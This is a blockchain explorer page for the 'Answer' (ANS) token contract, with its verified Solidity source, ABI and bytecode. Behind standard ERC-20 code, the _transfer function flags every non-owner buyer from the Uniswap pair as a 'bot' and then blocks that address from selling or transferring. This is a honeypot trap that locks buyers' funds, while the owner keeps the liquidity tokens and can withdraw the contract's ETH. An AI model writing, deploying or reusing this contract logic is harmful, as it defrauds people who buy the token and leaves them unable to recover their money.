ETH Price: $2,550.70 (-2.31%)

Token

Answer (ANS)
 

Overview

Max Total Supply

100,000,000,000 ANS

Holders

16

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheAnswer

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 100000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-06
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (
                uint256 amountToken, uint256 amountETH, uint256 liquidity
                );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
            ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract TheAnswer is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "Answer";
    string private constant _symbol = "ANS";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000000 * 10**18; // 100 billion
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 public maxWalletAmount = _totalSupply;
    uint256 public maxTxAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isBot;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[deadWallet] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxWalletLimit[deadWallet] = true;
        _isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxTransactionLimit[address(this)] = true;
        _isExcludedFromMaxTransactionLimit[owner()] = true;
        _isExcludedFromMaxTransactionLimit[deadWallet] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
        automatedMarketMakerPairs[pair] = value;
    }

    function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromMaxWalletLimit[account] != excluded, string.concat(_name, ": account is already excluded from max wallet limit."));
        _isExcludedFromMaxWalletLimit[account] = excluded;
    }
    
    function excludeFromFees(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromFee[account] != excluded, string.concat(_name, ": account is already excluded from fees."));
        _isExcludedFromFee[account] = excluded;
    }

    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "you can only add liquidity once.");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
        uniswapV2Pair = _uniswapV2Pair;
        maxWalletAmount = _totalSupply * 3 / 100; //  3%
        maxTxAmount = _totalSupply * 3 / 100;     //  3%
        _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
    }

    function withdrawStuckETH() external onlyOwner {
        require(address(this).balance > 0, "cannot send more than contract balance.");
        uint256 amount = address(this).balance;
        (bool success,) = address(owner()).call{value : amount}("");
        require(success, "error withdrawing ETH from contract.");
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "cannot transfer from the zero address.");
        require(to != address(0), "cannot transfer to the zero address.");
        require(amount > 0, "transfer amount must be greater than zero.");
        require(amount <= balanceOf(from), "cannot transfer more than balance.");
        if ((from == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[to]) ||
                (to == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[from])) {
            require(amount <= maxTxAmount, "transfer amount exceeds the maxTxAmount.");
        }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, "expected wallet amount exceeds the maxWalletAmount.");
        }
        if (to != owner() && from != owner()) {
             if (from == uniswapV2Pair) { _isBot[to] = true; } // buy
             if (to == uniswapV2Pair) { require(!_isBot[from]); } // sell
             if (from != uniswapV2Pair && to != uniswapV2Pair) { require(!_isBot[from] && !_isBot[to]); } // transfer
        }
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c01431e0fae6d7217caa000000060058190556007805460ff19169055600881905560095534801561003557600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600c60209081526040808520805460ff1990811685179091553080875282872080548316861790557f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c805483168617905584546001600160a01b039081168852600a85528388208054841687179055818852838820805484168717905587548116885283882080548416871790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054841687179055855481168852600b855283882080548416871790558188528388208054841687179055875416875282872080548316861790557f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac3415805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350612310806101d96000396000f3fe60806040526004361061018f5760003560e01c806385141a77116100d6578063aa4bde281161007f578063dd62ed3e11610059578063dd62ed3e146104ef578063f2fde38b14610542578063f5648a4f1461056257600080fd5b8063aa4bde2814610489578063b62496f51461049f578063c0246668146104cf57600080fd5b806395d89b41116100b057806395d89b4114610403578063a457c2d714610449578063a9059cbb1461046957600080fd5b806385141a77146103ac5780638c0b5e22146103c25780638da5cb5b146103d857600080fd5b8063313ce5671161013857806370a082311161011257806370a0823114610334578063715018a614610377578063781edb3c1461038c57600080fd5b8063313ce567146102cb57806339509351146102e757806349bd5a5e1461030757600080fd5b80631694505e116101695780631694505e1461023a57806318160ddd1461028c57806323b872dd146102ab57600080fd5b806306fdde031461019b578063095ea7b3146101f35780630bd05b691461022357600080fd5b3661019657005b600080fd5b3480156101a757600080fd5b5060408051808201909152600681527f416e73776572000000000000000000000000000000000000000000000000000060208201525b6040516101ea9190611f7b565b60405180910390f35b3480156101ff57600080fd5b5061021361020e366004611fee565b610577565b60405190151581526020016101ea565b34801561022f57600080fd5b5061023861058d565b005b34801561024657600080fd5b506001546102679073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101ea565b34801561029857600080fd5b506005545b6040519081526020016101ea565b3480156102b757600080fd5b506102136102c636600461201a565b610ac7565b3480156102d757600080fd5b50604051601281526020016101ea565b3480156102f357600080fd5b50610213610302366004611fee565b610be6565b34801561031357600080fd5b506002546102679073ffffffffffffffffffffffffffffffffffffffff1681565b34801561034057600080fd5b5061029d61034f36600461205b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561038357600080fd5b50610238610c2a565b34801561039857600080fd5b506102386103a736600461207f565b610cfb565b3480156103b857600080fd5b5061026761dead81565b3480156103ce57600080fd5b5061029d60095481565b3480156103e457600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610267565b34801561040f57600080fd5b5060408051808201909152600381527f414e53000000000000000000000000000000000000000000000000000000000060208201526101dd565b34801561045557600080fd5b50610213610464366004611fee565b610eb5565b34801561047557600080fd5b50610213610484366004611fee565b610fb8565b34801561049557600080fd5b5061029d60085481565b3480156104ab57600080fd5b506102136104ba36600461205b565b60066020526000908152604090205460ff1681565b3480156104db57600080fd5b506102386104ea36600461207f565b610fc5565b3480156104fb57600080fd5b5061029d61050a3660046120bd565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561054e57600080fd5b5061023861055d36600461205b565b61117f565b34801561056e57600080fd5b50610238611310565b6000610584338484611559565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60075460ff16156106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e6044820152606401610630565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106fc91309173ffffffffffffffffffffffffffffffffffffffff90911690611559565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107488173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107d9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107fe91906120eb565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610870573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108949190612119565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190612119565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190612119565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055600554909150606490610a29906003612165565b610a3391906121a2565b600855600554606490610a47906003612165565b610a5191906121a2565b60095573ffffffffffffffffffffffffffffffffffffffff81166000908152600a60209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255600b9093529220805490911682179055610ac49082906116d7565b50565b6000610ad48484846117ea565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338452909152902054821115610b94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63652e00000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610bdc918691610bd79086906121dd565b611559565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610584918590610bd79086906121f4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610cd1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a60209081526040918290205482518084018452600681527f416e73776572000000000000000000000000000000000000000000000000000081840152925160ff9091161515841515141592610e179290910161220c565b60405160208183030381529060405290610e5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106309190611f7b565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b33600090815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054821115610f75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760448201527f207a65726f2e00000000000000000000000000000000000000000000000000006064820152608401610630565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8816845290915290205461058491908590610bd79086906121dd565b60006105843384846117ea565b60005473ffffffffffffffffffffffffffffffffffffffff16331461106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c60209081526040918290205482518084018452600681527f416e73776572000000000000000000000000000000000000000000000000000081840152925160ff90911615158415151415926110e192909101612273565b60405160208183030381529060405290611128576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106309190611f7b565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600c6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff81166112c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610630565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146113b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b60004711611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f63616e6e6f742073656e64206d6f7265207468616e20636f6e7472616374206260448201527f616c616e63652e000000000000000000000000000000000000000000000000006064820152608401610630565b47600061146960005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d80600081146114c0576040519150601f19603f3d011682016040523d82523d6000602084013e6114c5565b606091505b5050905080611555576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f6572726f72207769746864726177696e67204554482066726f6d20636f6e747260448201527f6163742e000000000000000000000000000000000000000000000000000000006064820152608401610630565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166115fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff821661169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090205481151560ff909116151503611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f6175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c75652e000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b73ffffffffffffffffffffffffffffffffffffffff831661188d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f63616e6e6f74207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573732e00000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff821661192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f63616e6e6f74207472616e7366657220746f20746865207a65726f206164647260448201527f6573732e000000000000000000000000000000000000000000000000000000006064820152608401610630565b600081116119bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f7472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f2e000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020526040902054811115611a74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f63616e6e6f74207472616e73666572206d6f7265207468616e2062616c616e6360448201527f652e0000000000000000000000000000000000000000000000000000000000006064820152608401610630565b60025473ffffffffffffffffffffffffffffffffffffffff8481169116148015611ac4575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff16155b80611b1a575060025473ffffffffffffffffffffffffffffffffffffffff8381169116148015611b1a575073ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16155b15611bb157600954811115611bb1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f7472616e7366657220616d6f756e74206578636565647320746865206d61785460448201527f78416d6f756e742e0000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff16611ca65760085481611c0e8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b611c1891906121f4565b1115611ca6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603360248201527f65787065637465642077616c6c657420616d6f756e742065786365656473207460448201527f6865206d617857616c6c6574416d6f756e742e000000000000000000000000006064820152608401610630565b60005473ffffffffffffffffffffffffffffffffffffffff838116911614801590611cec575060005473ffffffffffffffffffffffffffffffffffffffff848116911614155b15611e695760025473ffffffffffffffffffffffffffffffffffffffff90811690841603611d635773ffffffffffffffffffffffffffffffffffffffff82166000908152600d6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b60025473ffffffffffffffffffffffffffffffffffffffff90811690831603611db95773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff1615611db957600080fd5b60025473ffffffffffffffffffffffffffffffffffffffff848116911614801590611dff575060025473ffffffffffffffffffffffffffffffffffffffff838116911614155b15611e695773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff16158015611e60575073ffffffffffffffffffffffffffffffffffffffff82166000908152600d602052604090205460ff16155b611e6957600080fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054839290611e9e9084906121dd565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054839290611ed89084906121f4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f3e91815260200190565b60405180910390a3505050565b60005b83811015611f66578181015183820152602001611f4e565b83811115611f75576000848401525b50505050565b6020815260008251806020840152611f9a816040850160208701611f4b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610ac457600080fd5b6000806040838503121561200157600080fd5b823561200c81611fcc565b946020939093013593505050565b60008060006060848603121561202f57600080fd5b833561203a81611fcc565b9250602084013561204a81611fcc565b929592945050506040919091013590565b60006020828403121561206d57600080fd5b813561207881611fcc565b9392505050565b6000806040838503121561209257600080fd5b823561209d81611fcc565b9150602083013580151581146120b257600080fd5b809150509250929050565b600080604083850312156120d057600080fd5b82356120db81611fcc565b915060208301356120b281611fcc565b60008060006060848603121561210057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561212b57600080fd5b815161207881611fcc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561219d5761219d612136565b500290565b6000826121d8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156121ef576121ef612136565b500390565b6000821982111561220757612207612136565b500190565b6000825161221e818460208701611f4b565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d206d61782077616c6c6574206c696d69742e0000000000000000000000006020820152603401919050565b60008251612285818460208701611f4b565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d20666565732e000000000000000000000000000000000000000000000000602082015260280191905056fea26469706673582212202b9ab8f0d9a620510fe8385c7f40c42e07484e2c841feb6a0de4b1f13ef159fc64736f6c634300080d0033

Deployed Bytecode

0x60806040526004361061018f5760003560e01c806385141a77116100d6578063aa4bde281161007f578063dd62ed3e11610059578063dd62ed3e146104ef578063f2fde38b14610542578063f5648a4f1461056257600080fd5b8063aa4bde2814610489578063b62496f51461049f578063c0246668146104cf57600080fd5b806395d89b41116100b057806395d89b4114610403578063a457c2d714610449578063a9059cbb1461046957600080fd5b806385141a77146103ac5780638c0b5e22146103c25780638da5cb5b146103d857600080fd5b8063313ce5671161013857806370a082311161011257806370a0823114610334578063715018a614610377578063781edb3c1461038c57600080fd5b8063313ce567146102cb57806339509351146102e757806349bd5a5e1461030757600080fd5b80631694505e116101695780631694505e1461023a57806318160ddd1461028c57806323b872dd146102ab57600080fd5b806306fdde031461019b578063095ea7b3146101f35780630bd05b691461022357600080fd5b3661019657005b600080fd5b3480156101a757600080fd5b5060408051808201909152600681527f416e73776572000000000000000000000000000000000000000000000000000060208201525b6040516101ea9190611f7b565b60405180910390f35b3480156101ff57600080fd5b5061021361020e366004611fee565b610577565b60405190151581526020016101ea565b34801561022f57600080fd5b5061023861058d565b005b34801561024657600080fd5b506001546102679073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101ea565b34801561029857600080fd5b506005545b6040519081526020016101ea565b3480156102b757600080fd5b506102136102c636600461201a565b610a